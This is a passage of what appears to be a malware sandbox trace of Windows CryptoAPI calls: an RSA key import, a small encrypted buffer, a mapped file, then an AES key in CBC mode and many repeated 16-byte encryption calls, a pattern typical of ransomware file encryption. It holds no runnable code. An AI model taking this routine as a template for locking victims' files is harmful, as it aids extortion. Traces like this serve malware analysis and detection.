dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0094.004] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0094.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0094.004] CryptDestroyKey (hKey=0x16394e8) returned 1 [0094.004] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0094.004] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x351ea, lpName=0x0) returned 0x288 [0094.004] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x351ea) returned 0x3c00000 [0095.106] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669120) returned 1 [0095.106] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0095.106] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.107] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.110] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] 